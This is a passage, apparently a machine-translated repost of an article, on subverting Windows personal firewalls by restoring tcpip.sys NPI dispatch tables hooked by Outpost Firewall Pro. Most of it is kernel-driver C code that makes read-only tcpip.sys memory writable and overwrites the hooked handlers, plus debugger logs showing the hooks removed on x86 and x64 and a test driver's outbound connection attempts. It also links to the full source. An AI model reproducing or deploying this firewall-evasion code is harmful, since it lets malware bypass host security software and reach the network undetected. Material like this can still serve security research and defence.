  1113. Status = Dispatches-> TcpTlProviderEndpointDispatch-> CloseEndpoint (GetDispatchContext.Endpoint, NULL);
  1114. if (! NT_SUCCESS (Status)) {
  1115. KdPrint (( "GetXxxTlProviderEndpointDispatch (): TcpTlProviderDispatch-> CloseEndpoint () failed with status 0x% 08X \ n", Status));
  1116. }
  1117. }
  1118.  
  1119. As has become evident saved connection ID Endpoint transmitted first parameter handler CloseEndpoint (), so the correct gap is produced due to the "end point" connection. A similar operation is performed for UdpTlProviderDispatch and RawTlProviderDispatch tables. Upon receipt of pointers to TcpTlProviderListenDispatch / TcpTlProviderConnectDispatch / XxxTlProviderMessageDispatch everything happens in the same order, except that still points needed Addr1 and Addr2 according to the requirements described above.
  1120.  
  1121. After all pointers to a table inside the tcpip.sys, as well as these handlers of these tables will be received, you can begin to restore them. Another option - a full reverse the tcpip.sys, a detailed understanding of the interface and the principles of writing your own client, who will have the opportunity to work with the network, bypassing firewalls NPI. We go by the path of least resistance and simply restore all XxxTlProviderXxxDispatch table. This work deals with the second part of the code.
  1122.  
  1123. Removing NPI interceptions
  1124.  
  1125. recovery XxxTlProviderXxxDispatch code tables located in UnhookNPI () and is divided into 4 stages:
  1126.  
  1127. Restoring handlers from XxxTlProviderDispatch tables
  1128. Restoring handlers from XxxTlProviderEndpointDispatch tables
  1129. Restoring handlers from TcpTlProviderListenDispatch and TcpTlProviderConnectDispatch tables
  1130. Restoring handlers from UdpTlProviderMessageDispatch and RawTlProviderMessageDispatch tables
  1131.  
  1132. All work on the recovery table assumes the function RestoreTcpipDispatchTable ():
  1133.  
  1134. static
  1135. NTSTATUS
  1136. RestoreTcpipDispatchTable (
  1137. __in PMEMORY_CHUNK OriginalTcpip,
  1138. __in PVOID * OriginalDispatchTable,
  1139. __in PVOID * RealDispatchTable,
  1140. __in ULONG DispatchTableSize
  1141. )
  1142.  
  1143. Function takes a handle to the current module the tcpip.sys, a pointer to the next table, a pointer to the table with these processors (pointing in tcpip.sys) and the size of the table. First udostoverivaetsya function that passes a pointer to the table really belongs tcpip.sys:
  1144.  
  1145. if ((ULONG_PTR) OriginalDispatchTable <(ULONG_PTR) OriginalTcpip-> Buffer ||
  1146. (ULONG_PTR) OriginalDispatchTable + DispatchTableSize> (ULONG_PTR) OriginalTcpip-> Buffer + OriginalTcpip-> Size)
  1147. {
  1148. KdPrint (( "RestoreTcpipDispatchTable (): Dispatch table% p is out of tcpip.sys' range% p ..% p \ n",
  1149. OriginalDispatchTable, OriginalTcpip-> Buffer, (ULONG_PTR) OriginalTcpip-> Buffer + OriginalTcpip-> Size));
  1150. return STATUS_UNSUCCESSFUL;
  1151. }
  1152.  
  1153. If the table is not intercepted, it is nothing, and do not need to:
  1154.  
  1155. if (! memcmp (OriginalDispatchTable, RealDispatchTable, DispatchTableSize))
  1156. return STATUS_SUCCESS;
  1157.  
  1158. Otherwise, we project a specified piece of memory at a different address, allowing entry into this memory:
  1159.  
  1160. PMDL OriginalDispatchTableMdl = NULL;
  1161. PVOID * MappedOriginalDispatchTable = NULL;
  1162. ...
  1163. OriginalDispatchTableMdl = IoAllocateMdl (OriginalDispatchTable, DispatchTableSize, FALSE, FALSE, NULL);
  1164. if (! OriginalDispatchTableMdl)
  1165. return STATUS_INSUFFICIENT_RESOURCES;
  1166.  
  1167. // Going to have write access to the read only memory of tcpip.sys' .rdata section
  1168.  
  1169. __try {
  1170. MmProbeAndLockPages (OriginalDispatchTableMdl, KernelMode, IoWriteAccess);
  1171. }
  1172. __except (EXCEPTION_EXECUTE_HANDLER) {
  1173. IoFreeMdl (OriginalDispatchTableMdl);
  1174. return STATUS_ACCESS_VIOLATION;
  1175. }
  1176.  
  1177. MappedOriginalDispatchTable = MmMapLockedPagesSpecifyCache (
  1178. OriginalDispatchTableMdl, KernelMode, MmNonCached, NULL, FALSE, HighPagePriority);
  1179. if (! MappedOriginalDispatchTable) {
  1180. MmUnlockPages (OriginalDispatchTableMdl);
  1181. IoFreeMdl (OriginalDispatchTableMdl);
  1182. return STATUS_UNSUCCESSFUL;
  1183. }
  1184.  
  1185. Restore the table is done by calling a single function:
  1186.  
  1187. RtlCopyMemory (MappedOriginalDispatchTable, RealDispatchTable, DispatchTableSize);
  1188.  
  1189. An example of using the function is not long in coming:
  1190.  
  1191. static
  1192. NTSTATUS
  1193. UnhookXxxTlProviderDispatch (
  1194. __in PTL_DISPATCH_TABLES Dispatches,
  1195. __in PMEMORY_CHUNK OriginalTcpip
  1196. )
  1197. {
  1198. ...
  1199. Status = RestoreTcpipDispatchTable (
  1200. OriginalTcpip,
  1201. (PVOID *) Dispatches-> TcpTlProviderDispatch,
  1202. (PVOID *) & Dispatches-> RealTcpTlProviderDispatch,
  1203. sizeof (TL_PROVIDER_DISPATCH));
  1204. if (! NT_SUCCESS (Status)) {
  1205. KdPrint (( "UnhookXxxTlProviderDispatch (): RestoreTcpipDispatchTable (TcpTlProviderDispatch) failed with status 0x% 08X \ n",
  1206. Status));
  1207. return Status;
  1208. }
  1209.  
  1210. Status = RestoreTcpipDispatchTable (
  1211. OriginalTcpip,
  1212. (PVOID *) Dispatches-> UdpTlProviderDispatch,
  1213. (PVOID *) & Dispatches-> RealUdpTlProviderDispatch,
  1214. sizeof (TL_PROVIDER_DISPATCH));
  1215. if (! NT_SUCCESS (Status)) {
  1216. KdPrint (( "UnhookXxxTlProviderDispatch (): RestoreTcpipDispatchTable (UdpTlProviderDispatch) failed with status 0x% 08X \ n",
  1217. Status));
  1218. return Status;
  1219. }
  1220.  
  1221. Restoring handlers completed, NPI firewall defeated. Verify this at the same Outpost firewall Pro 2009 (v6.5, x86), running npisubvert.sys:
  1222.  
  1223. kd> g
  1224. TCPIP.SYS image region: 0x8819F000..0x88270000
  1225.  
  1226. TcpTlProviderDispatch: 0x8824A8FC
  1227. IoControl: 0x88220C52 (0x88220C52 real)
  1228. QueryDispatch: 0x8822A004 (0x8822A004 real)
  1229. Endpoint: 0x8BA86AA4 (0x881DB212 real) HOOKED by afwcore.sys
  1230. Message: 0x88229FF9 (0x88229FF9 real)
  1231. Listen: 0x8BA86D86 (0x881C9E59 real) HOOKED by afwcore.sys
  1232. ReleaseIndicationList: 0x8BA83B60 (0x881DFCC4 real) HOOKED by afwcore.sys
  1233. Cancel: 0x8BA86208 (0x881C979B real) HOOKED by afwcore.sys
  1234.  
  1235. TcpTlProviderEndpointDispatch: 0x8824A91C
  1236. CloseEndpoint: 0x8BA85BC4 (0x881DBD38 real) HOOKED by afwcore.sys
  1237. IoControlEndpoint: 0x8BA85CA4 (0x881DB5E2 real) HOOKED by afwcore.sys
  1238. QueryDispatchEndpoint: 0x88229FEE (0x88229FEE real)
  1239.  
  1240. TcpTlProviderConnectDispatch: 0x8824A938
  1241. CloseEndpoint: 0x8BA859E8 (0x881E4543 real) HOOKED by afwcore.sys
  1242. IoControlEndpoint: 0x881E01ED (0x881E01ED real)
  1243. QueryDispatchEndpoint: 0x88229FEE (0x88229FEE real)
  1244. Send: 0x8BA83E5C (0x8820E188 real) HOOKED by afwcore.sys
  1245. Receive: 0x8BA84E5A (0x881D2258 real) HOOKED by afwcore.sys
  1246. Disconnect: 0x8BA841DA (0x881E4886 real) HOOKED by afwcore.sys
  1247.  
  1248. TcpTlProviderListenDispatch: 0x8824A928
  1249. CloseEndpoint: 0x8BA86012 (0x881C5C44 real) HOOKED by afwcore.sys
  1250. IoControlEndpoint: 0x881B11A6 (0x881B11A6 real)
  1251. QueryDispatchEndpoint: 0x88229FEE (0x88229FEE real)
  1252. ResumeConnection: 0x88220C42 (0x88220C42 real)
  1253.  
  1254. UdpTlProviderDispatch: 0x8824ACE4
  1255. IoControl: 0x88228C0B (0x88228C0B real)
  1256. QueryDispatch: 0x8822A004 (0x8822A004 real)
  1257. Endpoint: 0x8BA87EF2 (0x881D0152 real) HOOKED by afwcore.sys
  1258. Message: 0x8BA87CC2 (0x881D06DE real) HOOKED by afwcore.sys
  1259. Listen: 0x8822A093 (0x8822A093 real)
  1260. ReleaseIndicationList: 0x88228BF0 (0x88228BF0 real)
  1261. Cancel: 0x8822A07D (0x8822A07D real)
  1262.  
  1263. UdpTlProviderEndpointDispatch: 0x8824AD04
  1264. CloseEndpoint: 0x8BA87760 (0x881D0B1B real) HOOKED by afwcore.sys
  1265. IoControlEndpoint: 0x8BA87840 (0x881CF8BC real) HOOKED by afwcore.sys
  1266. QueryDispatchEndpoint: 0x88229FEE (0x88229FEE real)
  1267.  
  1268. UdpTlProviderMessageDispatch: 0x8824AD10
  1269. CloseEndpoint: 0x8BA87760 (0x881D0B1B real) HOOKED by afwcore.sys
  1270. IoControlEndpoint: 0x8BA87840 (0x881CF8BC real) HOOKED by afwcore.sys
  1271. QueryDispatchEndpoint: 0x88229FEE (0x88229FEE real)
  1272. SendMessages: 0x8BA87132 (0x881EF50F real) HOOKED by afwcore.sys
  1273.  
  1274. RawTlProviderDispatch: 0x8824AE58
  1275. IoControl: 0x8822A09E (0x8822A09E real)
  1276. QueryDispatch: 0x8822A004 (0x8822A004 real)
  1277. Endpoint: 0x8BA88782 (0x881BCBB0 real) HOOKED by afwcore.sys
  1278. Message: 0x8BA8863E (0x881BC615 real) HOOKED by afwcore.sys
  1279. Listen: 0x8822A093 (0x8822A093 real)
  1280. ReleaseIndicationList: 0x88228BF0 (0x88228BF0 real)
  1281. Cancel: 0x8822A07D (0x8822A07D real)
  1282.  
  1283. RawTlProviderEndpointDispatch: 0x8824AE78
  1284. CloseEndpoint: 0x8BA88296 (0x881AF470 real) HOOKED by afwcore.sys
  1285. IoControlEndpoint: 0x881BC1D6 (0x881BC1D6 real)
  1286. QueryDispatchEndpoint: 0x88229FEE (0x88229FEE real)
  1287.  
  1288. RawTlProviderMessageDispatch: 0x8824AE84
  1289. CloseEndpoint: 0x8BA88296 (0x881AF470 real) HOOKED by afwcore.sys
  1290. IoControlEndpoint: 0x881BC1D6 (0x881BC1D6 real)
  1291. QueryDispatchEndpoint: 0x88229FEE (0x88229FEE real)
  1292. SendMessages: 0x88229350 (0x88229350 real)
  1293.  
  1294. The NPI hooks have been cleaned successfully
  1295.  
  1296. Ascertain taken interceptions:
  1297.  
  1298. kd> dd TcpTlProviderDispatch
  1299. 8824a8fc 88220c52 8822a004 881db212 88229ff9
  1300. 8824a90c 881c9e59 881ddf90 881dfcc4 881c979b
  1301.  
  1302. kd> u 88220c52
  1303. tcpip TcpTlProviderIoControl!:
  1304. 88220c52 8bff mov edi, edi
  1305. 88220c54 55 push ebp
  1306. 88220c55 8bec mov ebp, esp
  1307. 88220c57 8b450c mov eax, dword ptr [ebp + 0Ch]
  1308.  
  1309. kd> u 881ddf90
  1310. tcpip TcpTlProviderConnect!:
  1311. 881ddf90 8bff mov edi, edi
  1312. 881ddf92 55 push ebp
  1313. 881ddf93 8bec mov ebp, esp
  1314. 881ddf95 5d pop ebp
  1315. 881ddf96 e97cedffff jmp tcpip! TcpCreateAndConnectTcb (881dcd17)
  1316.  
  1317. We are waiting for something for a while and try again (he suddenly watching interceptions?):
  1318.  
  1319. TCPIP.SYS image region: 0x8819F000..0x88270000
  1320.  
  1321. TcpTlProviderDispatch: 0x8824A8FC
  1322. IoControl: 0x88220C52 (0x88220C52 real)
  1323. QueryDispatch: 0x8822A004 (0x8822A004 real)
  1324. Endpoint: 0x881DB212 (0x881DB212 real)
  1325. Message: 0x88229FF9 (0x88229FF9 real)
  1326. Listen: 0x881C9E59 (0x881C9E59 real)
  1327. ReleaseIndicationList: 0x881DFCC4 (0x881DFCC4 real)
  1328. Cancel: 0x881C979B (0x881C979B real)
  1329.  
  1330. TcpTlProviderEndpointDispatch: 0x8824A91C
  1331. CloseEndpoint: 0x881DBD38 (0x881DBD38 real)
  1332. IoControlEndpoint: 0x881DB5E2 (0x881DB5E2 real)
  1333. QueryDispatchEndpoint: 0x88229FEE (0x88229FEE real)
  1334.  
  1335. TcpTlProviderConnectDispatch: 0x8824A938
  1336. CloseEndpoint: 0x881E4543 (0x881E4543 real)
  1337. IoControlEndpoint: 0x881E01ED (0x881E01ED real)
  1338. QueryDispatchEndpoint: 0x88229FEE (0x88229FEE real)
  1339. Send: 0x8820E188 (0x8820E188 real)
  1340.  
  1341. Try on the x64 version (Outpost Firewall Pro 2008 v6.0). Preliminary tests:
  1342.  
  1343. kd> dq TcpTlProviderConnectDispatch
  1344. fffffa60`00f83278 fffffa60`026e2a9c fffffa60`00ec60e0
  1345. fffffa60`00f83288 fffffa60`00ee23cc fffffa60`026e3d30
  1346. fffffa60`00f83298 fffffa60`026e3ac4 fffffa60`026e4710
  1347.  
  1348. kd> u fffffa60`026e2a9c
  1349. *** ERROR: Module load completed but symbols could not be loaded for afw.sys
  1350. afw + 0xda9c:
  1351. fffffa60`026e2a9c 48895c2408 mov qword ptr [rsp + 8], rbx
  1352. fffffa60`026e2aa1 55 push rbp
  1353. fffffa60`026e2aa2 56 push rsi
  1354. fffffa60`026e2aa3 57 push rdi
  1355. fffffa60`026e2aa4 4883ec50 sub rsp, 50h
  1356. fffffa60`026e2aa8 488b0559e70200 mov rax, qword ptr [afw + 0x3c208 (fffffa60`02711208)]
  1357. fffffa60`026e2aaf 488bf1 mov rsi, rcx
  1358. fffffa60`026e2ab2 bd010000c0 mov ebp, 0C0000001h
  1359.  
  1360. kd> u fffffa60`026e3d30
  1361. afw + 0xed30:
  1362. fffffa60`026e3d30 48895c2408 mov qword ptr [rsp + 8], rbx
  1363. fffffa60`026e3d35 48896c2410 mov qword ptr [rsp + 10h], rbp
  1364. fffffa60`026e3d3a 4889742420 mov qword ptr [rsp + 20h], rsi
  1365. fffffa60`026e3d3f 57 push rdi
  1366. fffffa60`026e3d40 4883ec50 sub rsp, 50h
  1367. fffffa60`026e3d44 48833dd4d4020000 cmp qword ptr [afw + 0x3c220 (fffffa60`02711220)], 0
  1368. fffffa60`026e3d4c 488bfa mov rdi, rdx
  1369. fffffa60`026e3d4f 488bd9 mov rbx, rcx
  1370.  
  1371. kd> dq RawTlProviderMessageDispatch
  1372. fffffa60`00f82e08 fffffa60`026e7d04 fffffa60`00e70000
  1373. fffffa60`00f82e18 fffffa60`00ee23cc fffffa60`00e84860
  1374.  
  1375. kd> u fffffa60`026e7d04
  1376. afw + 0x12d04:
  1377. fffffa60`026e7d04 48895c2408 mov qword ptr [rsp + 8], rbx
  1378. fffffa60`026e7d09 48896c2410 mov qword ptr [rsp + 10h], rbp
  1379. fffffa60`026e7d0e 56 push rsi
  1380. fffffa60`026e7d0f 57 push rdi
  1381. fffffa60`026e7d10 push r12 4154
  1382. fffffa60`026e7d12 4883ec20 sub rsp, 20h
  1383. fffffa60`026e7d16 4c8bc1 mov r8, rcx
  1384. fffffa60`026e7d19 4c8bca mov r9, rdx
  1385.  
  1386. Run npisubvert.sys:
  1387.  
  1388. TCPIP.SYS image region: 0xFFFFFA6000E67000..0xFFFFFA6000FDB000
  1389.  
  1390. TcpTlProviderDispatch: 0xFFFFFA6000F83200
  1391. IoControl: 0xFFFFFA6000F47430 (0xFFFFFA6000F47430 real)
  1392. QueryDispatch: 0xFFFFFA6000EE23B4 (0xFFFFFA6000EE23B4 real)
  1393. Endpoint: 0xFFFFFA60026E1540 (0xFFFFFA6000EC5B70 real) HOOKED by afw.sys
  1394. Message: 0xFFFFFA6000EE23C0 (0xFFFFFA6000EE23C0 real)
  1395. Listen: 0xFFFFFA60026E2CB4 (0xFFFFFA6000E8B420 real) HOOKED by afw.sys
  1396. ReleaseIndicationList: 0xFFFFFA60026E444C (0xFFFFFA6000EC0D60 real) HOOKED by afw.sys
  1397. Cancel: 0xFFFFFA60026E426C (0xFFFFFA6000F78680 real) HOOKED by afw.sys
  1398.  
  1399. TcpTlProviderEndpointDispatch: 0xFFFFFA6000F83240
  1400. CloseEndpoint: 0xFFFFFA60026E1B90 (0xFFFFFA6000EC2010 real) HOOKED by afw.sys
  1401. IoControlEndpoint: 0xFFFFFA60026E1C8C (0xFFFFFA6000EC99E0 real) HOOKED by afw.sys
  1402. QueryDispatchEndpoint: 0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real)
  1403.  
  1404. TcpTlProviderConnectDispatch: 0xFFFFFA6000F83278
  1405. CloseEndpoint: 0xFFFFFA60026E2A9C (0xFFFFFA6000EC93E0 real) HOOKED by afw.sys
  1406. IoControlEndpoint: 0xFFFFFA6000EC60E0 (0xFFFFFA6000EC60E0 real)
  1407. QueryDispatchEndpoint: 0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real)
  1408. Send: 0xFFFFFA60026E3D30 (0xFFFFFA6000ED51A0 real) HOOKED by afw.sys
  1409. Receive: 0xFFFFFA60026E3AC4 (0xFFFFFA6000EC0270 real) HOOKED by afw.sys
  1410. Disconnect: 0xFFFFFA60026E4710 (0xFFFFFA6000EC8F40 real) HOOKED by afw.sys
  1411.  
  1412. TcpTlProviderListenDispatch: 0xFFFFFA6000F83258
  1413. CloseEndpoint: 0xFFFFFA60026E32F4 (0xFFFFFA6000E8CF20 real) HOOKED by afw.sys
  1414. IoControlEndpoint: 0xFFFFFA6000E6F680 (0xFFFFFA6000E6F680 real)
  1415. QueryDispatchEndpoint: 0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real)
  1416. ResumeConnection: 0xFFFFFA6000F74740 (0xFFFFFA6000F74740 real)
  1417.  
  1418. UdpTlProviderDispatch: 0xFFFFFA6000F82F70
  1419. IoControl: 0xFFFFFA6000F2CC10 (0xFFFFFA6000F2CC10 real)
  1420. QueryDispatch: 0xFFFFFA6000EE23B4 (0xFFFFFA6000EE23B4 real)
  1421. Endpoint: 0xFFFFFA60026E6108 (0xFFFFFA6000ECC850 real) HOOKED by afw.sys
  1422. Message: 0xFFFFFA60026E70EC (0xFFFFFA6000EC7D40 real) HOOKED by afw.sys
  1423. Listen: 0xFFFFFA6000EE23D8 (0xFFFFFA6000EE23D8 real)
  1424. ReleaseIndicationList: 0xFFFFFA6000F2CBF0 (0xFFFFFA6000F2CBF0 real)
  1425. Cancel: 0xFFFFFA6000EE23F0 (0xFFFFFA6000EE23F0 real)
  1426.  
  1427. UdpTlProviderEndpointDispatch: 0xFFFFFA6000F82FB0
  1428. CloseEndpoint: 0xFFFFFA60026E6778 (0xFFFFFA6000ECD9D0 real) HOOKED by afw.sys
  1429. IoControlEndpoint: 0xFFFFFA60026E6A84 (0xFFFFFA6000EC9EB0 real) HOOKED by afw.sys
  1430. QueryDispatchEndpoint: 0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real)
  1431.  
  1432. UdpTlProviderMessageDispatch: 0xFFFFFA6000F82FC8
  1433. CloseEndpoint: 0xFFFFFA60026E6778 (0xFFFFFA6000ECD9D0 real) HOOKED by afw.sys
  1434. IoControlEndpoint: 0xFFFFFA60026E6A84 (0xFFFFFA6000EC9EB0 real) HOOKED by afw.sys
  1435. QueryDispatchEndpoint: 0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real)
  1436. SendMessages: 0xFFFFFA60026E68C0 (0xFFFFFA6000EACE60 real) HOOKED by afw.sys
  1437.  
  1438. RawTlProviderDispatch: 0xFFFFFA6000F82DB0
  1439. IoControl: 0xFFFFFA6000EE23FC (0xFFFFFA6000EE23FC real)
  1440. QueryDispatch: 0xFFFFFA6000EE23B4 (0xFFFFFA6000EE23B4 real)
  1441. Endpoint: 0xFFFFFA60026E76FC (0xFFFFFA6000E6D190 real) HOOKED by afw.sys
  1442. Message: 0xFFFFFA60026E7E4C (0xFFFFFA6000E6CFE0 real) HOOKED by afw.sys
  1443. Listen: 0xFFFFFA6000EE23D8 (0xFFFFFA6000EE23D8 real)
  1444. ReleaseIndicationList: 0xFFFFFA6000F2CBF0 (0xFFFFFA6000F2CBF0 real)
  1445. Cancel: 0xFFFFFA6000EE23F0 (0xFFFFFA6000EE23F0 real)
  1446.  
  1447. RawTlProviderEndpointDispatch: 0xFFFFFA6000F82DF0
  1448. CloseEndpoint: 0xFFFFFA60026E7D04 (0xFFFFFA6000F74170 real) HOOKED by afw.sys
  1449. IoControlEndpoint: 0xFFFFFA6000E70000 (0xFFFFFA6000E70000 real)
  1450. QueryDispatchEndpoint: 0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real)
  1451.  
  1452. RawTlProviderMessageDispatch: 0xFFFFFA6000F82E08
  1453. CloseEndpoint: 0xFFFFFA60026E7D04 (0xFFFFFA6000F74170 real) HOOKED by afw.sys
  1454. IoControlEndpoint: 0xFFFFFA6000E70000 (0xFFFFFA6000E70000 real)
  1455. QueryDispatchEndpoint: 0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real)
  1456. SendMessages: 0xFFFFFA6000E84860 (0xFFFFFA6000E84860 real)
  1457.  
  1458. Interceptions should not be more than:
  1459.  
  1460. kd> dq RawTlProviderMessageDispatch
  1461. fffffa60`00f82e08 fffffa60`00f74170 fffffa60`00e70000
  1462. fffffa60`00f82e18 fffffa60`00ee23cc fffffa60`00e84860
  1463.  
  1464. kd> u fffffa60`00f74170
  1465. tcpip RawTlProviderCloseEndpoint!:
  1466. fffffa60`00f74170 e99beaffff jmp tcpip! RawCloseEndpoint (fffffa60`00f72c10)
  1467.  
  1468. kd> dq TcpTlProviderConnectDispatch
  1469. fffffa60`00f83278 fffffa60`00ec93e0 fffffa60`00ec60e0
  1470. fffffa60`00f83288 fffffa60`00ee23cc fffffa60`00ed51a0
  1471. fffffa60`00f83298 fffffa60`00ec0270 fffffa60`00ec8f40
  1472.  
  1473. kd> u fffffa60`00ec93e0
  1474. tcpip TcpTlConnectionCloseEndpoint!:
  1475. fffffa60`00ec93e0 4883ec28 sub rsp, 28h
  1476. fffffa60`00ec93e4 e867ffffff call tcpip! TcpCloseTcb (fffffa60`00ec9350)
  1477. fffffa60`00ec93e9 b803010000 mov eax, 103h
  1478. fffffa60`00ec93ee 4883c428 add rsp, 28h
  1479. fffffa60`00ec93f2 c3 ret
  1480.  
  1481. Interceptions gone. Draw another experiment - run wsksample.sys with active Outpost. Immediately shown to protect window with the message that the System process breaks into the network. Lock it several times, we obtain the following log files:
  1482.  
  1483. MakeHttpRequest (): Connecting to the 74.125.45.100:80 ...
  1484. MakeHttpRequest (): WskConnect () failed with status 0xC0000001
  1485. MakeHttpRequest (): Connecting to the 74.125.45.100:80 ...
  1486. MakeHttpRequest (): WskConnect () failed with status 0xC0000001
  1487. MakeHttpRequest (): Connecting to the 74.125.45.100:80 ...
  1488. MakeHttpRequest (): WskConnect () failed with status 0xC0000001
  1489.  
  1490. Not surprisingly - it has been said that the NPI Hooking catches WSK clients. We try to run npisubvert.sys:
  1491.  
  1492. TCPIP.SYS image region: 0xFFFFFA6000E67000..0xFFFFFA6000FDB000
  1493.  
  1494. TcpTlProviderDispatch: 0xFFFFFA6000F83200
  1495. IoControl: 0xFFFFFA6000F47430 (0xFFFFFA6000F47430 real)
  1496. QueryDispatch: 0xFFFFFA6000EE23B4 (0xFFFFFA6000EE23B4 real)
  1497. Endpoint: 0xFFFFFA60026E1540 (0xFFFFFA6000EC5B70 real) HOOKED by afw.sys
  1498. Message: 0xFFFFFA6000EE23C0 (0xFFFFFA6000EE23C0 real)
  1499. Listen: 0xFFFFFA60026E2CB4 (0xFFFFFA6000E8B420 real) HOOKED by afw.sys
  1500. ReleaseIndicationList: 0xFFFFFA60026E444C (0xFFFFFA6000EC0D60 real) HOOKED by afw.sys
  1501. Cancel: 0xFFFFFA60026E426C (0xFFFFFA6000F78680 real) HOOKED by afw.sys
  1502.  
  1503. TcpTlProviderEndpointDispatch: 0xFFFFFA6000F83240
  1504. CloseEndpoint: 0xFFFFFA60026E1B90 (0xFFFFFA6000EC2010 real) HOOKED by afw.sys
  1505. IoControlEndpoint: 0xFFFFFA60026E1C8C (0xFFFFFA6000EC99E0 real) HOOKED by afw.sys
  1506. QueryDispatchEndpoint: 0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real)
  1507.  
  1508. TcpTlProviderConnectDispatch: 0xFFFFFA6000F83278
  1509. CloseEndpoint: 0xFFFFFA60026E2A9C (0xFFFFFA6000EC93E0 real) HOOKED by afw.sys
  1510. IoControlEndpoint: 0xFFFFFA6000EC60E0 (0xFFFFFA6000EC60E0 real)
  1511. QueryDispatchEndpoint: 0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real)
  1512. Send: 0xFFFFFA60026E3D30 (0xFFFFFA6000ED51A0 real) HOOKED by afw.sys
  1513. Receive: 0xFFFFFA60026E3AC4 (0xFFFFFA6000EC0270 real) HOOKED by afw.sys
  1514. Disconnect: 0xFFFFFA60026E4710 (0xFFFFFA6000EC8F40 real) HOOKED by afw.sys
  1515.  
  1516. TcpTlProviderListenDispatch: 0xFFFFFA6000F83258
  1517. CloseEndpoint: 0xFFFFFA60026E32F4 (0xFFFFFA6000E8CF20 real) HOOKED by afw.sys
  1518. IoControlEndpoint: 0xFFFFFA6000E6F680 (0xFFFFFA6000E6F680 real)
  1519. QueryDispatchEndpoint: 0xFFFFFA6000EE23CC (0xFFFFFA6000EE23CC real)
  1520. ResumeConnection: 0xFFFFFA6000F74740 (0xFFFFFA6000F74740 real)
  1521.  
  1522. NPI-hooks have been successfully cleaned.
  1523.  
  1524. MakeHttpRequest (): WskConnect () failed with status 0xC0000001
  1525. MakeHttpRequest (): Connecting to the 74.125.45.100:80 ...
  1526. MakeHttpRequest (): WskConnect () failed with status 0xC00000B5
  1527. MakeHttpRequest (): Connecting to the 74.125.45.100:80 ...
  1528. MakeHttpRequest (): WskConnect () failed with status 0xC00000B5
  1529. MakeHttpRequest (): Connecting to the 74.125.45.100:80 ...
  1530. MakeHttpRequest (): WskConnect () failed with status 0xC00000B5
  1531. MakeHttpRequest (): Connecting to the 74.125.45.100:80 ...
  1532. MakeHttpRequest (): WskConnect () failed with status 0xC00000B5
  1533.  
  1534. If the error is 0xC0000001 (STATUS_UNSUCCESSFUL) occurred when the connection with the prohibition of active NPI interceptions by a firewall, then 0xC00000B5 error (STATUS_IO_TIMEOUT) already occurs when too long waiting time for connection. tcpip.sys really trying to send a SYN packet to the specified host, but any communication is stuck on the NDIS level, where the Outpost is another layer of protection. Window firewall is not shown.
  1535.  
  1536. The moral is: removing the hooks on the NPI level, we will not achieve smooth operation with a network for normal applications. By the way, in the NDIS 6, on which operates the majority of firewalls for Windows Vista, it became much easier to remove traps and circumvent the protection. Well, it is, and it can serve as a pretext for the next time, the next research. Have fun! ;)
  1537.  
  1538. The source code to the article (https://vxlab.info/wasm/npi_subvert_src.rar)
  1539.  
  1540. Knowledge is free... share it.
  1541.  
  1542. Credit: [C] MaD
  1543. No copywrong intended. Educational fair use implied.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement